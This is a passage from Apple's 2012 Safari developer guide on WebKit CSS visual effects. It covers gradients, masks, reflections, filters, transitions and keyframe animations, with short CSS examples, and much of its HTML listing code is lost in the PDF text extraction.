CSS Transitions” (page 45), “Animating With Keyframes” (page 50). Apply 2D and 3D Transformations to Any HTML Element You can apply 2D or 3D transforms to any HTML element, turning a group of div elements into the faces of a box or the pages of a book, for example. Apply perspective and animation, and you can open and close the box, turn it to look inside, flip the pages of the book, and so on. 2D transforms include scaling, translation, shearing, reflection, and rotation. 3D transforms add rotation about the x and y axis and displacement on the z axis. Add touch and mouse interaction to trigger transformations by implementing CSS pseudoclasses, such as :hover, or by writing your own JavaScript functions. Relevant chapters: “Using 2D and 3D Transforms” (page 61), “Adding Interactive Control to Visual Effects” (page 90). How to Use This Document The visual effects described in this document are WebKit extensions of CSS. Most of the extensions are proposals for W3C standards;some are in W3C draftsfor CSS3. Asthe standards evolve,syntax for these effectsis modified. This change is done carefully to allow new syntax to coexist with existing syntax, however. This means you can experiment with CSS extensions without having your website suddenly break when the standard is modified—in most cases, the old syntax still works. This document describes the current syntax as of this writing; many of the extensions have prior syntax that still works but is no longer recommended. Introduction How to Use This Document 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 10Note: Because these extensions are WebKit-specific, they are not supported in all browsers. Most of the extensions have equivalentsin other WebKit-based browsers, however, and for mobile-specific sites, WebKit-based browsers account for nearly all traffic. Many of the extensions are currently in W3C working drafts and have equivalents in non-WebKit browsers as well, using the same syntax. Nevertheless, unless you are writing an iOS web app, you should code your website to degrade gracefully for browsersthat do notsupport these extensions. For the most part, thisis automatic—an image may not have a reflection in some browsers, or a change in CSS properties may be immediate instead of animated—but the site remains functional and the layout is not broken. As always, you should test your website using all the browsers that you wish to support to ensure that all of your users have an aesthetically pleasing experience. Prerequisites You need a solid understanding of HTML and some familiarity with JavaScript and CSS to make good use of this document. See Also You may also find the following documents helpful: ● Safari DOM Additions Reference—describes the touch event classes that you use to handle multi-touch gestures in JavaScript. ● Safari CSS Reference—describes the CSS properties supported by various Safari and WebKit applications. ● Safari Web Content Guide—describes how to create content that is compatible with, optimized for, and customized for iOS. ● iOS Human Interface Guidelines—provides user interface guidelines for designing webpages and web applications for Safari on iOS. ● FingerTips—demonstrates how to build an interactive 3D carousel using CSS,JavaScript and touch events. ● http://dev.w3.org/csswg/css3-images/—W3C draft for gradients. ● http://www.w3.org/TR/css3-transitions/—W3C draft for animated transitions. ● http://www.w3.org/TR/css3-animations/—W3C draft for keyframe animations. ● http://www.w3.org/TR/css3-2d-transforms/—W3C draft for 2D transforms. ● http://www.w3.org/TR/css3-3d-transforms/—W3C draft for 3D transforms. Introduction Prerequisites 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 11Use gradients as color fills that blend smoothly from one color to another. Use a CSS gradient anywhere that you can use an image, such as for the background of an element, an element border, or a mask. Because gradients are resolution-independent and compact, a line or two of CSS can replace hundreds of kilobytes—or even megabytes—of graphic imagery. Unlike graphic images, gradients have no inherentsize, and automatically expand to fill a container. To create a gradient, specify a starting color and an ending color, and optionally intermediate colors and a direction. Safari supports two types of CSS gradients: linear and radial. This chapter describes both types of gradients. Safari 5.1 on the desktop, and Safari on iOS 5.0, use the -webkit- prefix for specifying gradients, but otherwise conform to the 17 February 2011 working draft for CSS3 gradients: http://dev.w3.org/csswg/css3- images/. Note: Recent drafts of the W3C proposal have simplified the syntax. This chapter describesthe most recent implementation shipping in Safari. You should expect Safari’ssyntax for gradientsto continue to change as the W3C standard evolves. While new syntax is expected, the existing syntax—and prior syntax—should still work. The -webkit-linear-gradient and webkit-radial-gradient properties require iOS 5.0 or later, or Safari 5.1 or later on the desktop. If you need to support earlier releases of iOS or Safari, see “Prior Syntax (-webkit-gradient)” (page 26). Creating Linear Gradients A linear gradient defines a color change along a specified line. Each point on the line has a particular color. The width of the line, perpendicular to the direction of the line, extendsto the edges of the gradient’s container. You can use a linear gradient to fill any two-dimensional shape. By default, a linear gradient changes colors from top to bottom. For example: background: -webkit-linear-gradient(aqua, white) 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 12 Using Gradientsdefines a linear gradient that starts as aqua at the top of the element and ends as white at the bottom of the element. The gradient fills the element completely, as Figure 1-1 illustrates. Figure 1-1 Simple linear gradient If you specify intermediate colors between the starting and ending color, the gradient blends from color to color. For example: background: -webkit-linear-gradient(red, yellow, orange, green, blue, purple); defines a rainbow gradient as a background. Apply this style to a div element, and the element is drawn with a rainbow background, as Figure 1-2 illustrates. Figure 1-2 Rainbow gradient Setting the Direction of Change You can define a linear gradient with the color change going in any direction: from any edge or corner to its opposite edge or corner, or at any specified angle. To specify a direction from edge-to-edge or corner-to-corner, just specify the beginning edge or corner. For example: ● background: -webkit-linear-gradient(left, black, white); creates a horizontal gradient going from left to right. ● background: -webkit-linear-gradient(bottom right, black, white); Using Gradients Creating Linear Gradients 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 13creates a diagonal gradient from bottom right to top left. You can also specify color change direction by supplying an angle. Angles are given in degrees, with 0deg being straight up and proceeding counterclockwise-positive, so that 90deg is horizontal left and 180deg is straight down. For example: -webkit-linear-gradient(45deg, black, white) creates a gradient at a 45 degree angle up and to the left. Note: If you specify a gradient from corner to corner, the angle of the gradient changesif the parent element is resized and the shape of the element changes. Specify the direction in degrees to create a gradient with a fixed angle. Figure 1-3 shows a diagonal gradient starting at the bottom left corner. Figure 1-3 Diagonal gradients Setting the Rate of Change By default, the rate of color change for a gradient remains constant; if the gradient has three colors, the blend starts with the first color at 0% of the gradient length, reaches the second color at 50% of the gradient length, and reaches the third color at 100% of the gradient length. In other words, the first line of the gradient is the starting color, the middle line is the second color, and the last line is the third color. To modify this behavior, specify color stops. For example, the following snippet creates a gradient that changes gradually from white to cornflower blue over 90% of the gradient length then blends quickly from to black over the remaining 10%: -webkit-linear-gradient(left, white, cornflowerblue 90%, black) Using Gradients Creating Linear Gradients 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 14Figure 1-4 shows such a gradient. Figure 1-4 Setting color stop percentages Color stops can create some striking effects. For example, specify the same color at two consecutive stops to create a band of solid color, or specify two different colors at the same percentage point to create an abrupt change in color. Figure 1-5 shows the effect these kind of color stops create. background: -webkit-linear-gradient(left,black,blue 10%,blue 90%,black); background: -webkit-linear-gradient(left,white,blue 50%,purple 50%,white); Figure 1-5 Solid color band and abrupt color change Using Gradients Creating Linear Gradients 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 15Creating Gradient Fades Use RGBa colors in a gradient to soften or fade colors into the background by decreasing the alpha value of the gradient. For example, Listing 1-1 creates a div element with a white background that fadesto transparent. Two consecutive white color stops are used, so the div element’s background stays white for 50% of its width and then fades into the background of the element’s parent. Figure 1-6 shows the result. Listing 1-1 Linear fade

rgba gradient

RGBa Gradient Fades

Figure 1-6 Linear gradient fade Using Gradients Creating Linear Gradients 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 16Creating Radial Gradients A radial gradient is a color fill that blends from one color to another with the color change proceeding radially, forming a disk clipped by the shape of the element. The disk can be a circle or an ellipse. Specify a starting and ending color, and optionally specify intermediate colors. The starting color begins at the center of the disk, and the color change proceeds outward until the ending color isreached, by default at the farthest corner of the element being filled. By default, a radial gradient is an ellipse the height and width of the element being filled, with the center of the ellipse at the center of the element being filled. For example, the following snippet creates a radial gradient that blends from white at the center of a div element to black at the element’s outer edges, as Figure 1-7 illustrates:
Figure 1-7 Simple radial gradient To create a circular gradient, pass in the circle parameter: -webkit-radial-gradient(circle, white, black). Using Gradients Creating Radial Gradients 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 17The circle parameter parameter causes the gradient to be circular, instead of an ellipse that conforms to the shape of the element, as Figure 1-8 illustrates: Figure 1-8 Circular gradient Note that the shape of an element clips a circular gradient just as it does an elliptical gradient. Moving the Center By default, the starting point of a radial gradient isthe center of the element you are filling. Change this behavior by specifying a different starting point, using horizontal or vertical offsets from the element’s top left corner. The following example creates a circular div element (a square div element with a 50% border radius), then fills it with a radial gradient whose center is offset down and to the right of the element’s upper-left corner by 30%, creating a 3D lighting effect, as Figure 1-9 illustrates:
Figure 1-9 3D lighting effect Notice that you specify the vertical and horizontal offsets are as a distance from the top and left edge of the element, and that you specify both offsets as part of a single comma-delimited parameter, separated by a space. If you specify only a single value, Safari treats it as a vertical offset. Changing the Ending Color Location By default, a gradient reaches its ending color at the corner of the element furthest from the specified center of the gradient. Modify this behavior by specifying closest-corner. For example: -webkit-radial-gradient(30% 10%, closest-corner, white, black) creates a radial gradient that begins 30% to the right and 10% below the upper-left corner of an element, and reaches its end color at the closest corner. If you specify both the circle and the closest-corner properties, passthem in the same comma-delimited parameter, separated by a space: -webkit-radial-gradient(30% 10%, circle closest-corner, white, black) Using Gradients Creating Radial Gradients 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 19When the gradient ends at the closest corner, the ending color fills the remainder of the element. Figure 1-10 shows examples of identical div elements filled with radial gradients offset 30% down and to the right of the upper-left corner. Elliptical gradients are on the left of the illustration and circular gradients are on the right. Closest-corner gradient fills are above and default gradient fills are below: Figure 1-10 Closest-corner gradient fills Adding Color Stops To create a multi-colored radial gradient, specify intermediate colors between the starting and ending color. For example, the following snippet creates a radial gradient that blends from white at the center to green half way out, to black at the outer edge, as Figure 1-11 illustrates:
Figure 1-11 Multicolor gradient By default, the rate of color change is constant, dividing the gradient into equal-size color blends. Modify this behavior by providing color stops that specify the distance from the gradient center to its edge for particular colors. For example, the following snippet creates a gradient that blends from white to red in just 20% of the gradient, then takes the remaining 80% to fade to black, as Figure 1-12 illustrates:
Figure 1-12 Red color stop at 20% Using Gradients Creating Radial Gradients 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 21Specify paired color stops of the same color to create bands of solid color, or specify pairs of color stops with different colors at the same percentage point to create abrupt color changes. The following snippet defines two radial gradients, one with two color stops of the same color and the other with two differently colored stops at the same percentage point. Figure 1-13 shows the result: background: -webkit-radial-gradient(white, red 10%, red 90%, black); background: -webkit-radial-gradient(white, yellow 20%, red 20%, black); Figure 1-13 Color band and abrupt color change using color stops Creating a Radial Fade If you use RGBa colors in your color stops, you can specify both the hue and transparency of the gradient at any point. This enables you to create a gradient that blends into the background of its parent element. For example, Listing 1-2 creates a spotlight effect by fading a div element’s background from white to transparent, allowing the parent div’s background to gradually show through. Figure 1-14 shows the result: Listing 1-2 Radial fade
rgba gradient

Spotlight On: Gradients

Using RGBA Colors

A radial gradient using rgba colors can be used to create a spotlight effect.

Figure 1-14 Spotlight gradient Creating Repeating Gradients You can create a repeating pattern in a gradient in two different ways. One way isto specify a series of repeating color stops. For example, the following snippet creates linear and radial gradients with two repeating red-to-blue-to-red blend stripes: -webkit-linear-gradient(red, blue 25%, red 50%, blue 75%, red) -webkit-radial-gradient(red, blue 25%, red 50%, blue 75%, red) It’s tedious to specify the color stops repeatedly when there are many repetitions, particularly if you need to calculate cumulative percentages for each color stop. To simplify the process, use the repeating gradient properties: -webkit-repeating-linear-gradient and -webkit-repeating-radial-gradient. To create a repeating gradient, specify the first set of color stops with percentages; the gradient repeats the pattern of colorstops, keeping the percentages proportional, as needed to reach 100%. The syntax for repeating Using Gradients Creating Repeating Gradients 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 23gradients is otherwise identical to nonrepeating gradients. The following snippet specifies color stops that fill 20% of two gradients, which createslinear and radial gradients with five repeating plum-to-powderblue-to-plum blend stripes, as Figure 1-15 illustrates. -webkit-repeating-linear-gradient(plum, powderblue 10%, plum 20%) -webkit-repeating-radial-gradient(plum, powderblue 10%, plum 20%) Figure 1-15 Repeating gradient patterns Note that the color pattern repeats from the starting color, so if the last color specified is the same as the starting color, the pattern repeats smoothly. If you specify a pattern whose last entry is different from the first entry, the color changes abruptly from the last color to the first color when the pattern repeats, instead of blending smoothly. Using a Gradient as a Border Image You can use a gradient anywhere you can use an image—as you would expect, this means you can use a gradient as a border image. However, the syntax is nonobvious. The border-image property uses four values to specify offsets for slicing the image into the top, bottom, and sides of the border. Since a gradient has no inherent size, a pixel or percentage offset into the image is meaningless; the only useful value is 100%. To make tiles from a linear gradient so that the border edges have the same color everywhere the tiles meet, start and end the gradient with the same color. For example, the following snippet creates a border like the one that Figure 1-16 shows.
Figure 1-16 Linear gradient border Radial gradients work nicely as borders, because the outer edges of all the tiles typically match when the stretch value is used for the repeat parameter. Here is an example of a radial gradient used as a border image:
Using Gradients Using a Gradient as a Border Image 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 25Figure 1-17 shows the result. Figure 1-17 Radial gradient border Prior Syntax (-webkit-gradient) The -webkit-linear-gradient and -webkit-radial-gradient properties are supported in iOS 5.0 and later, and in Safari 5.1 and later on the desktop. In prior versions of Safari, both linear and radial gradients were implemented using the -webkit-gradient property. If you need to support earlier versions of iOS or Safari, use the -webkit-gradient property to create gradients. The syntax is as follows: Specify linear gradients using the keyword linear, followed by a starting point, an ending point, a starting color with the keyword from, any color stops, and an ending color with the keyword to. ● Linear gradient, vertical from top: -webkit-gradient(linear, center top, center bottom, from(white), to(black)) ● Linear gradient, horizontal from left: -webkit-gradient(linear, center left, center right, from(white), to(black)) ● Linear gradient, diagonal from upper left: -webkit-gradient(linear, upper left, lower right, from(white), to(black)) ● Linear gradient, rainbow: Using Gradients Prior Syntax (-webkit-gradient) 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 26-webkit-gradient(linear, center left, center right, from(yellow), color-stop(20%, orange), color-stop(40%, red), color-stop(60%, green), color-stop(80%, blue), to(purple)) Specify radial gradients using the keyword radial, followed by a starting point, a starting radius, an ending point, an ending radius, a starting color, any color stops, and an ending color. ● Radial gradient, centered: -webkit-gradient(radial, center center, 0px, center center, 100%, from(white), to(black)) ● Radial gradient, offset: -webkit-gradient(radial, 20% 20%, 0px, 20% 20%, 60px, from(white), to(black)) ● Radial gradient, rainbow: -webkit-gradient(radial, center center, 0px, center center, 100%, from(yellow), color-stop(20%, orange), color-stop(40%, red), color-stop(60%, green), color-stop(80%, blue), to(purple)) The beginning radius specifies the size of the disk at the center of the gradient. The ending radius specifies the size of the disk at the end of the gradient. The gradient is circular if the beginning and ending center points are the same, elliptical otherwise. The gradient is clipped by the shape of the containing element if the ending radius specifies a larger disk than the element can contain. Using Gradients Prior Syntax (-webkit-gradient) 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 27A mask is a two-dimensional shape that acts as an overlay on an element and clips the element visually or renders portions of the element transparent or translucent. A mask consists of an image or a gradient that contains an alpha channel; where the alpha value of the mask is 0, the underlying element is transparent, or masked out; where the alpha value is 1, the underlying element displays normally; where the alpha value is between 0 and 1, the underlying element is proportionally transparent. Only the alpha values of the mask are used; any other color values are ignored. An element’s mask applies to its children and their descendants. The children and descendants may also have masks, in which case the masks are stacked. The transparent areas of a masked element reveal the underlying webpage contents, which may also contain masked elements; these masks too are stacked. The final image is rendered after concatenating all the masks in the stack, tiling and stretching them as specified. When a mask is applied to an element, both the contents and background of the element are masked. A mask may be applied to the entire element or it may exclude either the border or the combined border and padding. Using an Image as a Mask To apply a mask using an image, first create a .png or .svg image that contains an alpha channel. Pass the URL of thisimage into either the -webkit-mask-image property or the -webkit-mask-box-image property. The -webkit-mask-image property usesthe native size of the mask image. The -webkit-mask-box-image property scales the mask image to meet the edges of the element. If the image used as a mask consists of an opaque shape on a transparent background, the mask acts as a “cookie cutter” to clip an element in the shape of the mask. For example, the following snippet applies a heart-shaped mask to an image. Figure 2-1 shows the result. 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 28 Using Masks Figure 2-1 Heart-shaped “cookie-cutter” The -webkit-mask-box-image property takes optional arguments that work like the -webkit-border-image parameters. You can specify offsets into the mask image to slice it into top, right, bottom, and left images, applying the mask slices, stretched or repeated, to the edges of an element. For example, the following snippet uses a 50-pixel heart-shaped mask and adds a 50-pixel border to the image. The snippet also adds parameters to the -webkit-mask-box-image property, setting the slice size to the whole mask image and specifying repeat both horizontally and vertically. Figure 2-2 shows the result. Figure 2-2 Masking a border As mentioned previously, you can mask any HTML element, and you can concatenate masks by inheritance and by stacking masked elements. For example, Listing 2-1 creates a pair of masked div elements, each of which contains a paragraph element. The example positions the second div element so that it partly overlaps the first div element. The paragraph elements are masked by their parent div elements, and the two masks are stacked. The result is shown in Figure 2-3. Listing 2-1 Stacking masked elements
stacked masks

This div element has a heart-shaped mask.This div element has a heart-shaped mask.This div element has a heart-shaped mask.This div element has a heart-shaped mask.This div element Using Masks Using an Image as a Mask 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 30has a heart-shaped mask.This div element has a heart-shaped mask.This div element has a heartshaped mask.This div element has a heart-shaped mask.

This div element has a heart-shaped mask.This div element has a heart-shaped mask.This div element has a heart-shaped mask.This div element has a heart-shaped mask.This div element has a heart-shaped mask.This div element has a heart-shaped mask.This div element has a heartshaped mask.This div element has a heart-shaped mask.

Figure 2-3 Stacking masks Using Masks Using an Image as a Mask 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 31You can use a mask to fade an element gradually into the background by including semitransparent pixels in the mask. For example, the following snippet applies a mask image with a solid center and increasingly transparent edges to the image of a field. The -webkit-mask-box-image property is used, so the mask is scaled to fit the img element. The result is shown in Figure 2-4. Figure 2-4 Applying a mask with a fuzzy border Image Mask Result Using a Gradient as a Mask Because gradients can be used in place of any image, a gradient can be passed as a mask. The following snippet defines a gradient that goes from opaque to transparent as a mask for an img element. The result is shown in Figure 2-5. Figure 2-5 Result of applying a gradient mask Note: The gradient in the example uses black asthe opaque color, but any completely opaque color would be equivalent. The example just given goesfrom opaque to transparent over the height of the image, but you can use different gradient parameters to achieve different effects. The following snippet creates a gradient from left to right and uses color stops to fade an image sharply at the edges, as shown in Figure 2-6. Notice that the image’s border radius works in concert with the mask. Figure 2-6 Horizontal gradient mask with color stops You can apply a gradient mask to any HTML element, not just images. For example, the following snippet creates a radial gradient as a mask for a div element containing several paragraphs of text. The result is shown in Figure 2-7.
Figure 2-7 Masking text with a radial gradient For more about gradients, see “Using Gradients” (page 12). Working with WebKit Mask Properties You can use either the -webkit-mask-image or the -webkit-mask-box-image property to assign a mask to an element. The -webkit-mask-box-image property scales the mask to fit the element by default, while the -webkit-mask-image property uses the mask image’s native size. Note: Gradients do not have a native size, so when using a gradient as a mask, the mask is always scaled to fit the mask bounding area (by default, the same as the masked element’s bounding area). The -webkit-mask-box-image property accepts optional parameters that enable it to act like a border image (for details, see Figure 2-5 (page 33)). There is also a set of propertiesthat you can use to modify the behavior of the -webkit-mask-image property, including: ● -webkit-mask-clip—Causes the mask to apply to the whole element, only the padding and content, or only the content. Set to border-box (default), padding-box, or content-box. Using Masks Working with WebKit Mask Properties 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 35● -webkit-mask-origin—Sets the origin of the mask to the upper left corner of the element’s border, padding, or content box. Set to border (default), padding, or content. ● -webkit-mask-position—Anchors the upper-left corner of the mask at the specified offset from the origin. Accepts an x-offset and a y-offset. ● -webkit-mask-repeat—Controls how the mask is tiled to cover the element. Accepts an x-repeat and a y-repeat parameter. Both parameters can be set to repeat, space, round, or no-repeat. The specifics are the same asfor the background-repeat property (see http://www.w3.org/TR/css3-background/#thebackground-repeat). ● -webkit-mask-size—Controls how the mask is sized to cover the element. The specifics are the same as for the background-size property (see http://www.w3.org/TR/css3-background/#the-backgroundsize). The properties that apply to webkit-mask-image are analogous to the CSS3 background properties. See http://www.w3.org/TR/css3-background/#backgrounds for details. Using Masks Working with WebKit Mask Properties 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 36A reflection is a mirror image, optionally with its own mask. You can add a reflection to any visible HTML element. Reflections update automatically as the element’s appearance changes. If you hover over a link with a reflection, for example, you see the hover effect in the reflection. If you add a reflection to a video element, the video plays in the reflection as well. Resize the element and the reflection is resized. Reflections are not interactive elements, however—clicking or touching a reflection does not generate any events. Reflections have no effect on layout other than being part of a container’s overflow, and are similar to box shadows in this respect. In other words, you must position elements explicitly to allow space for reflections; if you add a reflection below an image, and follow the image with a paragraph of text, the reflection may cover the text (depending on the size of the image, padding, margins, and so on). Adding a Reflection Use the -webkit-box-reflect property to add a reflection to an element. The first, mandatory, parameter is the direction in which the reflection projects, which can be above, below, left, or right. For example, the following snippet adds a reflection below an h1 element, as Figure 3-1 illustrates:

Reflection in Blue 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 37 Using Reflections

Figure 3-1 Reflection below a heading The reflection is the same visible size as the element. The element border and padding are included in the reflection. Adjusting the Reflection’s Position The first argument of the -webkit-box-reflect property specifiesthe direction of the reflection. An optional second argument specifies the offset or space between the original image and the reflection. By default, the reflection begins with no separation from the element’s bounding box. To change this behavior, add an offset parameter. A positive offset causes the reflection to be separated from the element by additional space; a negative offset causes the reflection to overlap the element. For example, the bounding box of an h1 element includes substantial white space; to tuck the reflection in closer to the text, add a negative offset. The following example adds an offset of -15px to the reflection. The result is shown in Figure 3-1: Using Reflections Adjusting the Reflection’s Position 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 38

Figure 3-2 Reflection with negative offset Masking a Reflection An optional third argument to -webkit-box-reflect specifies a mask to apply to the reflection. A mask renders part of the reflection transparent or translucent. The mask is either an image file, specified as a URL, or a gradient. A mask image file can be a .png, an .svg, or a .gif with transparent areas. The alpha value of the mask is applied to the reflection on a pixel-by-pixel basis. Only the alpha value of the mask’s color values has any effect on the reflection. When creating a mask, shape it to mask the target element itself, not to mask the reflection. The reflection shows a mirror image of the masked element, even though the element does not appear masked. The following snippet adds a mask image to a reflection. Figure 3-3 shows the resulting masked reflection side-by-side with the mask image. Using Reflections Masking a Reflection 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 39style="-webkit-box-reflect: below 0px url(mask.png);" Figure 3-3 Reflection with image as mask The following snippet adds a reflection below an image, using a gradient as a mask. Figure 3-4 shows the result. Figure 3-4 Image with reflection and gradient mask Note that the reflection includes the rounded borders of the img element. Notice also that the gradient goes from transparent at the top to opaque at the bottom—the opposite of its appearance in the reflection; this is because the reflection shows a mirror image of the masked element. For more about masks, see “Using Masks” (page 28); for more about gradients, see “Using Gradients” (page 12). Inner Reflections When you reflect an element, all of the element’s descendants are displayed in the reflection. If you add a reflection to a child element, the child’sreflection isrendered first; thisinner reflection isincluded in the parent element’s reflection. The following snippet adds a reflection to a div element containing an img element that has its own reflection. Figure 3-5 shows the result:
Using Reflections Inner Reflections 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 41

Text...

Text...

Figure 3-5 Inner reflection, reflected Using Reflections Inner Reflections 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 42Safari 6 and later supports CSS filters, or special visual effects, that you can apply to many elements, including videos (see Figure 4-1 (page 43)). These hardware-accelerated filters (such as brightness, contrast, saturation, and blur) can be stacked on top of and animated against one another. Read “CSS Property Functions” in Safari CSS Reference to find out more about CSS filters. Figure 4-1 CSS filters on a video Using CSS Filters To add a CSS filter to an HTML element, include the -webkit-filter property in the element’s CSS declaration, as shown in Listing 4-1 (page 44). You can list as many of the functions found in “CSS Property Functions” in Safari CSS Reference as you’d like. 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 43 Using CSS FiltersListing 4-1 Applying CSS filters to HTML elements
Filters

Video with and without CSS filters

The video on the left does not have CSS filters applied, while the video on the right does.

These videos are playing from the same source file.

Using CSS Filters 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 44You can create animations entirely in CSS, with no need for plug-ins, graphics libraries, or elaborate JavaScript programs. Normally, when the value of a CSS property changes, the affected elements are re-rendered immediately using the new property value. If you set CSS transition properties, however, any changes in the values of the specified CSS properties are automatically rendered as animations. This kind of automatic animation is called a transition. You trigger a transition simply by changing any of the specified CSS values. CSS property values can be changed by a pseudoclass, such as :hover, or by using JavaScript to change an element’s class name or to change its individual CSS properties explicitly. The animation flows smoothly from the original state to the changed state using a transition timing function over a specified duration. For more complex animationsthat can use arbitrary intermediate states and trigger conditions,see “Animating With Keyframes” (page 50). Transitions are especially powerful if you combine them with 2D and 3D transforms. For example, Figure 5-1 shows the results of applying an animated transition to an element as it rotates in 3D. See the CardFlip sample code project for the complete source code for this example. Figure 5-1 Card Flip example See the HTML version of this document to view the video. document to view the video. Animated transitions are a W3C draft specification: http://www.w3.org/TR/css3-transitions/. 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 45 Animating CSS TransitionsNote: Not all CSS properties are animatable. In general, any CSS property that accepts values that are numbers, lengths, percentages, or colorsis animatable. Some CSS propertiesthat accept discrete values can be animated as well, but display a jump between values rather than a smooth transition when changed, such as the visibility property. See Safari CSS Reference for which properties are animatable. Setting Transition Properties To create an animated transition, first specify which CSS properties should be animated, using the -webkit-transition-property property, a CSS property that takes other CSS properties as arguments. Set the duration of the animation using the -webkit-transition-duration property. For example, Listing 5-1 creates a div element that fades out slowly over 2 seconds when clicked. Listing 5-1 Setting transition properties

Click me and I fade away. . .

There are two special transition properties: all and none: ● -webkit-transition-property: all; ● -webkit-transition-property: none; Setting the transition property to all causes all changes in CSS properties to be animated for that element. Setting the transition property to none cancels transition animation effects for that element. To set up an animation for multiple properties, pass multiple comma-separated parameters to -webkit-transition-property and -webkit-transition-duration. The order of the parameters determines which transition the settings apply to. For example, Listing 5-2 defines a two-second -background-color transition and a four-second opacity transition. Animating CSS Transitions Setting Transition Properties 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 46Listing 5-2 Creating multiple transitions at once div.zoom-fade { -webkit-transition-property: background-color, opacity; -webkit-transition-duration: 2s, 4s; } Using Timing Functions Timing functions allow a transition to change speed over its duration. Set a timing function using the -webkit-transition-timing-function property. Choose one of the prebuilt timing functions—ease, ease-in, ease-out, or ease-in-out—or specify cubic-bezier and pass in control parameters to create your own timing function. For example, the following snippet defines a 1-second transition when opacity changes, using the ease-in timing function, which starts slowly and then speeds up: style="-webkit-transition-property: opacity; -webkit-transition-duration: 1s; -webkit-timing-function: ease-in;" Using the cubic-bezier timing function, you can, for example, define a timing function thatstarts outslowly, speeds up, and slows down at the end. The timing function is specified using a cubic Bezier curve, which is defined by four control points, as Figure 5-2 illustrates. The first and last control points are always set to (0,0) and (1,1), so you specify the two in-between control points. The points are specified using x,y coordinates, with x expressed as a fraction of the overall duration and y expressed as a fraction of the overall change. Figure 5-2 Cubic Bezier timing function Fraction of elapsed time Fraction of change 0, 0 1.0,1.0 0.9, 0.4 0.5, 0.2 0.5 0.0 1.0 0.0 0.5 1.0 Animating CSS Transitions Using Timing Functions 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 47For example, Listing 5-3 creates a 2-second animation when the opacity property changes, using a custom Bezier path. Listing 5-3 Defining a custom timing function div.zoom-fade { -webkit-transition-property: opacity; -webkit-transition-duration: 2s; -webkit-transition-timing-function: cubic-bezier(0.5, 0.2, 0.9, 0.4); } In the example just given, the custom timing function starts very slowly, completing only 20% of the change after 50% of the duration, and 40% of the change after 90% of the duration. The animation then finishesswiftly, completing the remaining 60% of the change in the remaining 10% of the duration. Delaying the Start By default, a transition animation begins as soon as one of the specified CSS properties changes. To specify a delay between the time a transition property is changed and the time the animation begins, use the -webkit-transition-delay property. For example, the following snippet defines an animation that beings 100ms after a property changes: .delay-fade { -webkit-transition-property: opacity; -webkit-transition-duration: 1s; -webkit-transition-delay: 100ms; } Setting Several Transition Properties At Once You can set an animation’s transition properties, duration, timing function, and delay using a single shorthand property: -webkit-transition. For example, the following snippet uses the :HOVER pseudostyle to cause img elements to fade in and out when hovered over, using a one-second animation that begins 100 ms after the hover begins or ends, and using the ease-out timing function: Handling Intermediate States and Events When applying a transition to an element’s property, the change animates smoothly from the old value to the new value and the property values are recomputed over time. Consequently, getting the value of a property during a transition may return an intermediate value that is the current animated value, not the old or new value. For example, suppose you define a transition for the left and background-color properties and then set both property values of an element at the same time. The element’s old position and color transition to the new position and color over time as illustrated in Figure 5-3. Querying the properties in the middle of the transition returns an intermediate location and color for the element. Figure 5-3 Transition of two properties Starting appearance Time = 0.0 sec Intermediate appearance Time = 0.5 sec Final appearance Time = 1.0 sec To determine when a transition completes, set a JavaScript event listener function for the DOM event that is sent at the end of a transition. The event is an instance of WebKitTransitionEvent, and its type is webkitTransitionEnd. For example, the snippet in Listing 5-4 displays an alert panel whenever a transition ends. Listing 5-4 Detecting transition end events document.body.addEventListener( 'webkitTransitionEnd', function(event) { alert( "Finished transition!" ); }, false ); Animating CSS Transitions Handling Intermediate States and Events 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 49Safarisupportstwo types of CSS animation: transition animations and keyframe animations. To simply animate changesin CSS properties whenever those properties change, you should probably use an animated transition (see “Animating CSS Transitions” (page 45)). To create complex animations—such as a bumblebee’s flight or a change that starts and stops or repeats indefinitely—or to trigger animations under arbitrary conditions using JavaScript, use keyframe animations. Keyframe animations include the following features: ● Choose any number of CSS properties to change and define points along a timeline that have specific states. ● Animation between two defined points is automatic but can be guided by specifying a timing function. ● You trigger keyframe animations explicitly. ● Keyframe animations can be set to repeat a finite number of times or to repeat indefinitely, proceeding in the same direction each time, or alternating forward and backward. ● Keyframe animations can be paused and resumed. ● All of the elements in a class can be animated as part of a single animation. When a keyframe animation completes, an animated element returns to its original CSS style. You can override this behavior, however, and make the final animation state persistent. You can also change an element’s style when the animation ends by installing a JavaScript listener function for the webkitAnimationEnd event. Create stunning effects by combining animation with 2D and 3D transforms. For example, Figure 6-1 shows an animation of text elements in 3D space. See the PosterCircle sample code project for the complete source code for this example. Figure 6-1 Animated text elements See the HTML version of this document to view the video. document to view the video. 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 50 Animating With KeyframesKeyframe animation is a W3C draft. See http://dev.w3.org/csswg/css3-animations/. Creating a Keyframe Animation A keyframe animation has—at minimum—a name, a duration, and one or more keyframes. A keyframe is a CSS rule consisting of a set of properties and values associated with a point in time. To create a keyframe animation, perform the following steps: 1. Create a named set of keyframes in CSS using the 